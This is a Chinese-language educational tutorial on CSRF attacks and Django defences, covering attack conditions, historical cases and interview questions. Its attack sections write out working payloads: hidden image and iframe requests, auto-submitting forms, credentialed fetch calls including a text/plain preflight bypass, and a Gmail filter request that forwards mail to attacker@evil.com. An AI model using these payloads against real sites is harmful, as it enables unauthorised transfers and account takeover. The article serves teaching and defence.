CSRF 基礎:跨站請求偽造攻擊
在你不知情的情況下執行操作
⚠️ 免責聲明 本文內容僅供教育與學習用途。請勿將文中技術用於任何未經授權的系統或惡意目的。
📚 本篇重點
- 🎯 理解 CSRF 攻擊原理與特徵
- 🔍 區分 CSRF 與 XSS 的差異
- 💣 認識真實的 CSRF 攻擊案例
- 🛡️ 學習基礎防禦策略
閱讀時間: 約 15 分鐘 難度: ⭐⭐ 中階
1️⃣ 什麼是 CSRF?
📖 定義
CSRF (Cross-Site Request Forgery),跨站請求偽造,又稱 XSRF 或 Session Riding,是一種攻擊手法,攻擊者誘使受害者在已登入的網站上執行非預期的操作。
🔑 關鍵特徵
| 特徵 | 說明 |
|---|---|
| 利用信任 | 利用網站對已認證用戶的信任 |
| 非預期操作 | 受害者不知情地執行操作 |
| 需要登入狀態 | 攻擊者不需要知道密碼,只需受害者已登入 |
| 跨站點 | 攻擊發起自不同的網站(跨站) |
| 自動發送 Cookie | 瀏覽器自動附帶身份驗證 Cookie |
🔄 攻擊流程
Step 1: 受害者登入銀行網站 (bank.com)
↓ 獲得 Session Cookie
Step 2: 受害者訪問攻擊者的惡意網站 (evil.com)
↓
Step 3: 惡意網站自動發送請求到 bank.com
(例如:轉帳請求)
↓
Step 4: 瀏覽器自動附帶 bank.com 的 Cookie
↓
Step 5: bank.com 認為這是合法的用戶請求
↓
Step 6: 轉帳完成,受害者不知情 💸🌟 生活比喻
想像你有一張已簽名的空白支票:
正常情況:
- 你到銀行櫃檯
- 填寫支票金額和收款人
- 交給櫃員處理
- 櫃員看到你的簽名,認為是你本人授權
CSRF 攻擊:
- 你到銀行櫃檯,手裡拿著已簽名的空白支票
- 有個陌生人偷偷在你的支票上填寫了金額和收款人(他自己)
- 你不知情地把支票交給櫃員
- 櫃員看到你的簽名,認為是你授權的,就轉帳了
- 你的錢被轉走,但你完全不知道
關鍵點:
- 支票 = Session Cookie(已認證身份)
- 陌生人 = 攻擊者
- 你不知情 = CSRF 的核心
2️⃣ CSRF vs XSS:關鍵差異
很多人會混淆 CSRF 和 XSS,讓我們清楚區分:
| 特徵 | CSRF | XSS |
|---|---|---|
| 攻擊目標 | 執行非預期的操作 | 執行惡意腳本 |
| 攻擊者獲得 | 讓受害者執行操作 | 竊取資料、控制頁面 |
| 需要注入代碼 | ❌ 不需要 | ✅ 需要 |
| 發起位置 | 攻擊者的網站 | 受害網站本身 |
| 能否讀取響應 | ❌ 不能 | ✅ 能 |
| 能否竊取資料 | ❌ 不能直接竊取 | ✅ 能 |
| 防禦重點 | CSRF Token | Output Encoding |
視覺化對比
XSS 攻擊:
攻擊者 → 注入惡意腳本到 bank.com
↓
受害者訪問 bank.com
↓
惡意腳本在 bank.com 上執行
↓
竊取 Cookie、讀取資料、執行操作CSRF 攻擊:
受害者已登入 bank.com (有 Cookie)
↓
受害者訪問 evil.com
↓
evil.com 發送請求到 bank.com
↓
瀏覽器自動附帶 Cookie
↓
bank.com 執行操作(轉帳等)簡單記憶法
- XSS: 「跨站腳本」- 重點在執行腳本,能讀取資料
- CSRF: 「跨站請求」- 重點在發送請求,能執行操作但不能讀取
3️⃣ CSRF 攻擊條件
要成功發動 CSRF 攻擊,需要滿足以下條件:
條件 1: 有價值的操作
網站上存在有價值的操作,例如:
# 轉帳
POST /transfer
money=1000&to=attacker
# 修改密碼
POST /change-password
new_password=hacked123
# 修改 Email
POST /update-email
email=attacker@evil.com
# 刪除帳號
POST /delete-account
confirm=yes
# 購買商品
POST /buy
product_id=123&quantity=10條件 2: 基於 Cookie 的身份驗證
網站使用 Cookie 進行身份驗證:
# Django Session
request.session['user_id'] = user.id
# Flask Session
session['user_id'] = user.id
# Cookie-based authentication
# 瀏覽器會自動附帶 Cookie!為什麼基於 Cookie 的驗證有風險?
瀏覽器行為:
- 訪問 bank.com → 自動發送 bank.com 的 Cookie ✅
- 從 evil.com 發請求到 bank.com → 也會自動發送 bank.com 的 Cookie! ⚠️條件 3: 沒有不可預測的參數
所有請求參數都可被攻擊者預測或獲得:
# ❌ 容易受攻擊:所有參數都可預測
POST /transfer
money=1000
to=attacker
from=victim # 可以從 URL 或其他地方得知
# ✅ 較難攻擊:有不可預測的參數
POST /transfer
money=1000
to=attacker
from=victim
csrf_token=8a7d9f2e3b4c5d6e # 攻擊者無法得知!條件 4: 沒有額外驗證
操作沒有額外的驗證步驟:
# ❌ 容易受攻擊:沒有額外驗證
@app.route('/transfer', methods=['POST'])
def transfer():
# 直接執行轉帳
amount = request.form['amount']
to = request.form['to']
do_transfer(amount, to)
# ✅ 較安全:有額外驗證
@app.route('/transfer', methods=['POST'])
def transfer():
# 需要重新輸入密碼
password = request.form['password']
if not verify_password(password):
return "密碼錯誤"
amount = request.form['amount']
to = request.form['to']
do_transfer(amount, to)4️⃣ 真實案例分析
案例 1: YouTube CSRF (2008)
漏洞細節:
- YouTube 的「添加好友」功能沒有 CSRF 保護
- 攻擊者可以強制受害者添加自己為好友
攻擊代碼:
<!-- 攻擊者在自己的網站放置 -->
<img src="https://www.youtube.com/add_friend?user=attacker" style="display:none">攻擊流程:
- 受害者登入 YouTube
- 訪問攻擊者的惡意網站
- 瀏覽器自動加載
<img>標籤 - 發送請求到 YouTube 添加好友
- YouTube 看到合法的 Cookie,執行操作
- 攻擊者成為受害者的好友
影響: 攻擊者可以獲得受害者的影片列表、訂閱等資訊
修復: YouTube 實施了 CSRF Token
案例 2: ING Direct 銀行 CSRF (2008)
漏洞細節:
- ING Direct 銀行的轉帳功能沒有 CSRF 保護
- 攻擊者可以強制受害者轉帳
攻擊代碼:
<!-- 惡意網站 -->
<form id="csrf" action="https://secure.ingdirect.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker_account">
</form>
<script>
// 自動提交表單
document.getElementById('csrf').submit();
</script>攻擊流程:
- 受害者登入 ING Direct
- 訪問惡意網站(可能是釣魚郵件連結)
- 表單自動提交
- $1000 被轉到攻擊者帳戶
- 受害者不知情
影響: 直接財務損失
修復: 實施 CSRF Token + 轉帳需要額外驗證
案例 3: Gmail CSRF 過濾器繞過 (2007)
漏洞細節:
- Gmail 的郵件過濾器功能有 CSRF 漏洞
- 攻擊者可以建立過濾器,將受害者的郵件轉發到攻擊者信箱
攻擊代碼:
<img src="https://mail.google.com/mail/h/[session]/?v=prf&at=[token]&
cf1_from=&cf1_to=&cf1_subj=&cf1_has=&cf1_hasnot=&cf1_attach=&
tfi=&s=z&
irf=on&
nvp_bu_cftb=Create+Filter&
fwd_addr=attacker@evil.com">攻擊流程:
- 受害者登入 Gmail
- 點擊惡意連結或訪問惡意網站
- 自動建立郵件過濾器
- 所有郵件被轉發到攻擊者信箱
- 攻擊者可以讀取受害者所有郵件
影響:
- 隱私洩露
- 可能獲得密碼重設郵件
- 可能獲得敏感商業資訊
修復: Google 強化了 CSRF 保護
案例 4: Netflix CSRF (2006)
漏洞細節:
- Netflix 的「修改帳戶資訊」功能沒有 CSRF 保護
- 攻擊者可以修改受害者的郵件地址和密碼
攻擊步驟:
- 修改受害者的 Email 為攻擊者的 Email
- 使用「忘記密碼」功能重設密碼
- 完全控制受害者的 Netflix 帳戶
影響: 帳戶被接管
5️⃣ CSRF 攻擊類型
類型 1: GET 型 CSRF
最簡單的 CSRF 攻擊,利用 GET 請求:
<!-- 方法 1:使用 <img> 標籤 -->
<img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none">
<!-- 方法 2:使用 <iframe> -->
<iframe src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none"></iframe>
<!-- 方法 3:使用 <script> 標籤 -->
<script src="http://bank.com/transfer?amount=1000&to=attacker"></script>
<!-- 方法 4:使用 <link> 標籤 -->
<link rel="stylesheet" href="http://bank.com/transfer?amount=1000&to=attacker">為什麼 GET 型 CSRF 危險?
- 不需要用戶交互(自動加載)
- 可以偽裝成圖片、CSS 等資源
- 瀏覽器自動發送請求防禦: 永遠不要用 GET 執行狀態改變操作!
類型 2: POST 型 CSRF
利用 POST 請求,更隱蔽:
<!-- 攻擊者的惡意網站 -->
<!DOCTYPE html>
<html>
<body>
<h1>恭喜!您中獎了!</h1>
<p>請稍候,正在處理...</p>
<!-- 隱藏的表單 -->
<form id="csrf-form" action="http://bank.com/transfer" method="POST" style="display:none">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker_account">
</form>
<script>
// 自動提交表單
document.getElementById('csrf-form').submit();
</script>
</body>
</html>變種:使用 AJAX
<script>
// 使用 XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://bank.com/transfer', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true; // 發送 Cookie
xhr.send('amount=10000&to=attacker_account');
</script>類型 3: JSON CSRF
針對 JSON API 的攻擊:
<script>
// 方法 1:使用 fetch
fetch('http://api.bank.com/transfer', {
method: 'POST',
credentials: 'include', // 包含 Cookie
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: 10000,
to: 'attacker_account'
})
});
// 方法 2:繞過 Content-Type 檢查
// 使用 text/plain(不會觸發 CORS preflight)
fetch('http://api.bank.com/transfer', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
amount: 10000,
to: 'attacker_account'
})
});
</script>注意: 現代瀏覽器的 CORS 政策會阻擋某些跨域請求,但不是所有!
6️⃣ Django 的 CSRF 保護
Django 內建強大的 CSRF 保護機制。
Django CSRF 如何運作?
# 1. Django 生成 CSRF Token
# 當用戶首次訪問時,Django 在 Cookie 中設置一個 CSRF Token
# 2. 表單中必須包含 CSRF Token
# settings.py
MIDDLEWARE = [
# ...
'django.middleware.csrf.CsrfViewMiddleware', # CSRF 中間件
]
# 3. 驗證請求
# Django 會比對:
# - Cookie 中的 CSRF Token
# - 表單/請求中的 CSRF Token
# 兩者必須一致!在 Django Template 中使用
<!-- ✅ 正確:包含 {% csrf_token %} -->
<form method="post">
{% csrf_token %}
<input type="text" name="username">
<button type="submit">提交</button>
</form>
<!-- 生成的 HTML -->
<form method="post">
<input type="hidden" name="csrfmiddlewaretoken"
value="8a7d9f2e3b4c5d6e...">
<input type="text" name="username">
<button type="submit">提交</button>
</form>CSRF Token 的雙重驗證
Cookie: csrftoken=abc123xyz
↓
表單中: csrfmiddlewaretoken=abc123xyz
↓
Django 驗證: Cookie Token == 表單 Token ?
↓
相同 → 允許請求 ✅
不同 → 拒絕請求 ❌ (403 Forbidden)為什麼這能防禦 CSRF?
攻擊者的惡意網站:
- 可以發送請求到 bank.com
- 瀏覽器會自動附帶 bank.com 的 Cookie
- 但攻擊者無法讀取 Cookie 中的 CSRF Token!
- 因此無法在表單中提供正確的 Token
- 請求被拒絕 ✅7️⃣ 基礎防禦策略
防禦 1: CSRF Token (最重要)
# Django (自動啟用)
# views.py
from django.shortcuts import render
def transfer(request):
if request.method == 'POST':
# Django 自動驗證 CSRF Token
amount = request.POST['amount']
to = request.POST['to']
# 執行轉帳...
return render(request, 'transfer.html')<!-- transfer.html -->
<form method="post">
{% csrf_token %} <!-- 必須包含! -->
<input type="number" name="amount" placeholder="金額">
<input type="text" name="to" placeholder="收款帳號">
<button type="submit">轉帳</button>
</form>防禦 2: SameSite Cookie
# settings.py (Django 3.1+)
SESSION_COOKIE_SAMESITE = 'Lax' # 或 'Strict'
CSRF_COOKIE_SAMESITE = 'Lax'
# 'Strict': 完全阻止跨站發送 Cookie
# 'Lax': 允許 GET 請求,阻止 POST 等
# 'None': 不限制(不安全!)SameSite 運作原理:
SameSite=Strict:
- 從 evil.com 發請求到 bank.com → Cookie 不會被發送 ✅
SameSite=Lax:
- 從 evil.com 的 <a> 連結到 bank.com → Cookie 會被發送
- 從 evil.com 的 <form> POST 到 bank.com → Cookie 不會被發送 ✅防禦 3: 驗證 Referer/Origin Header
# Django View
from django.http import HttpResponseForbidden
def sensitive_operation(request):
# 檢查 Referer
referer = request.META.get('HTTP_REFERER', '')
allowed_domains = ['https://bank.com', 'https://www.bank.com']
if not any(referer.startswith(domain) for domain in allowed_domains):
return HttpResponseForbidden('Invalid referer')
# 執行操作...注意: Referer 可能被瀏覽器隱私設定移除,不應作為唯一防禦!
防禦 4: 雙重驗證
# Django View
def delete_account(request):
if request.method == 'POST':
# 除了 CSRF Token,還要驗證密碼
password = request.POST.get('password')
if not request.user.check_password(password):
return HttpResponse('密碼錯誤', status=403)
# 刪除帳號...
request.user.delete()
return HttpResponse('帳號已刪除')
return render(request, 'delete_account.html')8️⃣ 面試常見問題
Q1: CSRF 和 XSS 的主要差異是什麼?
參考答案:
| 對比項 | CSRF | XSS |
|---|---|---|
| 攻擊目標 | 讓受害者執行非預期操作 | 執行惡意腳本,竊取資料 |
| 能否讀取響應 | ❌ 不能 | ✅ 能 |
| 需要注入代碼 | ❌ 不需要 | ✅ 需要注入到目標網站 |
| 發起位置 | 攻擊者的網站 | 目標網站本身 |
| 防禦方法 | CSRF Token, SameSite Cookie | Output Encoding, CSP |
簡單記憶:
- CSRF: 「我能讓你執行操作,但看不到結果」
- XSS: 「我能執行腳本,能看到和竊取一切」
實例:
CSRF:
- 攻擊者能強制你轉帳
- 但攻擊者看不到你的帳戶餘額
XSS:
- 攻擊者能竊取你的 Cookie
- 攻擊者能讀取頁面上的任何資料
- 攻擊者能代表你執行任何操作Q2: 為什麼 CSRF Token 能防禦 CSRF 攻擊?
參考答案:
CSRF Token 防禦原理:
- Token 的不可預測性:
# Django 生成隨機 Token
import secrets
csrf_token = secrets.token_hex(32) # 64 字符的隨機字串- 雙重提交模式:
Cookie: csrftoken=abc123
表單: csrfmiddlewaretoken=abc123
Django 驗證: Cookie Token == 表單 Token ?- 為什麼攻擊者無法繞過?
攻擊者在 evil.com:
- ✅ 可以發送請求到 bank.com
- ✅ 瀏覽器會自動附帶 bank.com 的 Cookie
- ❌ 但攻擊者無法讀取 Cookie 中的 CSRF Token!
(Same-Origin Policy 阻止跨域讀取 Cookie)
- ❌ 因此無法在表單中提供正確的 Token
- ❌ 請求被 Django 拒絕(403 Forbidden)關鍵點:
- Token 儲存在 Cookie 中(瀏覽器會自動發送)
- Token 也必須在表單中(攻擊者無法得知)
- 兩者必須一致
為什麼不能只檢查 Cookie?
# ❌ 不安全
def transfer(request):
# 只檢查 Cookie 中有沒有 Token
if 'csrftoken' in request.COOKIES:
# 執行轉帳
pass
# 問題:攻擊者發送的請求也會自動帶上 Cookie!Q3: SameSite Cookie 如何防禦 CSRF?它有什麼局限性?
參考答案:
SameSite Cookie 防禦原理:
# Django 設定
SESSION_COOKIE_SAMESITE = 'Lax' # 或 'Strict'三種模式:
- Strict (最嚴格):
任何跨站請求都不發送 Cookie
例子:
- 你在 evil.com
- 點擊連結到 bank.com
- Cookie 不會被發送
- 你需要重新登入 bank.com
用途:高安全性網站(銀行)- Lax (推薦):
允許「安全」的跨站請求發送 Cookie
允許:
- GET 請求(透過 <a> 連結)
- 從其他網站直接導航到你的網站
不允許:
- POST、PUT、DELETE 等請求
- <form>, <img>, <script> 等
用途:大多數網站- None (不安全):
所有跨站請求都發送 Cookie(必須配合 Secure 使用)
SESSION_COOKIE_SAMESITE = 'None'
SESSION_COOKIE_SECURE = True # 必須 HTTPS局限性:
- 瀏覽器兼容性:
- 舊版瀏覽器不支援 SameSite
- IE 11 不支援- 不能防禦同站攻擊:
如果攻擊者能在你的網站上注入內容(XSS):
- SameSite 無效(因為是「同站」)
- 仍需要 CSRF Token- GET 請求仍有風險(Lax 模式):
SameSite=Lax 允許 GET 跨站請求
如果你用 GET 做狀態改變:
GET /delete-account?confirm=yes
→ 仍然可以被 CSRF 攻擊!- 子域名問題:
SameSite 基於「站點」(site),不是「源」(origin)
example.com 和 sub.example.com 被視為同站
→ 子域名攻擊仍然可能最佳實踐:
SameSite Cookie + CSRF Token = 雙重保護 ✅
不要只依賴其中一個!9️⃣ 重點回顧
核心概念
CSRF 的本質:
- 利用網站對已認證用戶的信任
- 誘使受害者執行非預期操作
- 攻擊者看不到響應(但操作已執行)
CSRF vs XSS:
- CSRF: 執行操作,但不能讀取
- XSS: 執行腳本,能讀取和竊取
攻擊條件:
- 有價值的操作
- 基於 Cookie 的認證
- 沒有不可預測的參數
- 沒有額外驗證
防禦策略:
- CSRF Token(最重要)
- SameSite Cookie
- 驗證 Referer/Origin
- 雙重驗證(敏感操作)
安全檢查清單
開發階段:
- 所有 POST/PUT/DELETE 請求都使用 CSRF Token
- 永遠不用 GET 執行狀態改變操作
- 設置 SameSite Cookie
- 敏感操作要求額外驗證(密碼、OTP)
- 使用 Django 的
{% csrf_token %}
Django 設定:
-
MIDDLEWARE包含CsrfViewMiddleware -
SESSION_COOKIE_SAMESITE = 'Lax' -
CSRF_COOKIE_SAMESITE = 'Lax' -
CSRF_COOKIE_HTTPONLY = True -
CSRF_COOKIE_SECURE = True(生產環境)
測試:
- 嘗試在沒有 CSRF Token 的情況下提交表單
- 測試跨域請求是否被阻擋
- 檢查 SameSite Cookie 是否正確設置
📖 延伸閱讀
🔗 系列導航
- 上一篇: 03-6 XSS 防禦完整指南
- 下一篇: 05-2 CSRF 防禦完整指南
- 返回目錄: Web Security 系列
📝 本文完成日期: 2025-01-15 🔖 標籤: #WebSecurity #CSRF #XSRF #Django #Python #面試準備